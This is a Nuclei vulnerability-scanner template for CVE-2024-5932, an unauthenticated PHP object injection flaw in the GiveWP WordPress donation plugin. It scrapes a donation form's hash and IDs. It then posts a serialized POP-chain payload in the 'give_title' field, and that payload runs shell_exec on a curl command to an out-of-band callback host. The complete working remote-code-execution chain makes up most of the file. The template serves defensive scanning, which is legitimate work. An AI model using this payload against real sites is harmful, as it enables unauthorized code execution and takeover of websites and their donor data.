151 lines
5.3 KiB
YAML
151 lines
5.3 KiB
YAML
id: CVE-2024-5932
|
||
|
||
info:
|
||
name: GiveWP - PHP Object Injection
|
||
author: iamnoooob,rootxharsh,pdresearch
|
||
severity: critical
|
||
description: |
|
||
The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter.
|
||
impact: |
|
||
This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.
|
||
remediation: Fixed in 3.14.2.
|
||
reference:
|
||
- https://plugins.trac.wordpress.org/browser/give/tags/3.12.0/includes/login-register.php#L235
|
||
- https://plugins.trac.wordpress.org/browser/give/tags/3.12.0/includes/process-donation.php#L420
|
||
- https://plugins.trac.wordpress.org/browser/give/tags/3.12.0/src/DonorDashboards/Tabs/EditProfileTab/AvatarRoute.php#L51
|
||
- https://plugins.trac.wordpress.org/browser/give/tags/3.12.0/vendor/tecnickcom/tcpdf/tcpdf.php#L7861
|
||
- https://plugins.trac.wordpress.org/browser/give/tags/3.12.0/vendor/vendor-prefixed/fakerphp/faker/src/Faker/ValidGenerator.php#L80
|
||
- https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/
|
||
- https://thehackernews.com/2024/08/givewp-wordpress-plugin-vulnerability.html
|
||
classification:
|
||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
cvss-score: 9.8
|
||
cve-id: CVE-2024-5932
|
||
cwe-id: CWE-502
|
||
epss-score: 0.00178
|
||
epss-percentile: 0.55631
|
||
cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
|
||
metadata:
|
||
verified: true
|
||
max-request: 3
|
||
vendor: givewp
|
||
product: givewp
|
||
framework: wordpress
|
||
publicwww-query: "/wp-content/plugins/give/"
|
||
tags: cve,cve2024,rce,wp,wp-plugin,wordpress,oast,givewp
|
||
|
||
flow: http(1) && http(2) && http(3)
|
||
|
||
variables:
|
||
oast: "{{interactsh-url}}"
|
||
len_payload: "{{ len(oast) + 5 }}"
|
||
payload: 'O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{i:0;O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"generator";O:24:"Give\\\\Container\\\\Container":1:{s:9:"instances";a:1:{s:8:"address1";s:{{len_payload}}:"curl {{oast}}";}}s:10:"maxRetries";i:1;s:9:"validator";s:10:"shell_exec";}}}}}}'
|
||
email: "{{to_lower(rand_text_alpha(8))}}@gmail.com"
|
||
firstname: "{{to_lower(rand_text_alpha(5))}}"
|
||
lastname: "{{to_lower(rand_text_alpha(5))}}"
|
||
|
||
http:
|
||
- raw:
|
||
- |
|
||
GET /wp-json/wp/v2/give_forms/ HTTP/1.1
|
||
Host: {{Hostname}}
|
||
|
||
matchers:
|
||
- type: word
|
||
part: body
|
||
words:
|
||
- '"type":'
|
||
- '"guid":'
|
||
condition: and
|
||
internal: true
|
||
|
||
extractors:
|
||
- type: json
|
||
part: body
|
||
name: value
|
||
internal: true
|
||
json:
|
||
- '.[0].slug'
|
||
|
||
- type: json
|
||
part: body
|
||
name: give-form-title
|
||
internal: true
|
||
json:
|
||
- '.[0].title.rendered'
|
||
|
||
- type: json
|
||
part: body
|
||
name: links
|
||
internal: true
|
||
json:
|
||
- '.[0].link'
|
||
- raw:
|
||
- |
|
||
GET /give/{{value}}?giveDonationFormInIframe=1 HTTP/1.1
|
||
Host: {{Hostname}}
|
||
|
||
matchers:
|
||
- type: word
|
||
part: body
|
||
words:
|
||
- 'give-form-hash'
|
||
- 'give-form-id-prefix'
|
||
condition: and
|
||
internal: true
|
||
|
||
extractors:
|
||
- type: regex
|
||
part: body
|
||
group: 1
|
||
name: give-form-hash
|
||
internal: true
|
||
regex:
|
||
- 'name="give\-form\-hash" value="([0-9a-z]+)"'
|
||
|
||
- type: regex
|
||
part: body
|
||
group: 1
|
||
name: give-form-id-prefix
|
||
internal: true
|
||
regex:
|
||
- 'name="give\-form\-id\-prefix" value="([0-9-]+)"'
|
||
|
||
- type: regex
|
||
part: body
|
||
group: 1
|
||
name: give-form-id
|
||
internal: true
|
||
regex:
|
||
- 'name="give\-form\-id" value="([0-9]+)"'
|
||
|
||
- type: regex
|
||
part: body
|
||
group: 1
|
||
name: give-amount
|
||
internal: true
|
||
regex:
|
||
- 'give\-form\-minimum"\n\s+value="([0-9.]+)"\/>'
|
||
|
||
- raw:
|
||
- |
|
||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||
Host: {{Hostname}}
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
|
||
give-honeypot=&give-form-id-prefix={{give-form-id-prefix}}&give-form-id={{give-form-id}}&give-form-title={{give-form-title}}&give-current-url={{links}}&give-form-url={{RootURL}}&give-form-minimum={{give-amount}}&give-form-maximum=1000000&give-form-hash={{give-form-hash}}&give-price-id=custom&give-amount={{give-amount}}&give_first={{firstname}}&give_last={{lastname}}&give_email={{email}}&give_stripe_payment_method=&give-user-id=1&give_action=purchase&give-gateway=manual&give_embed_form=1&action=give_process_donation&&give_title={{payload}}
|
||
|
||
matchers-condition: and
|
||
matchers:
|
||
- type: word
|
||
part: interactsh_protocol
|
||
words:
|
||
- "http"
|
||
|
||
- type: word
|
||
part: body
|
||
words:
|
||
- '"error_data"'
|
||
- '"unknown_error"'
|
||
condition: and
|
||
# digest: 4a0a004730450220051775121bbd5c861e8f0adf15b33ef21e3e2420f6ff3e9d42035a160968ba7e02210096d8c4a2c1bf78dd4ec442a1c63d2ea90e194b45a4549c270a864cac3ab0b2c8:922c64590222798bb761d5b6d8e72950 |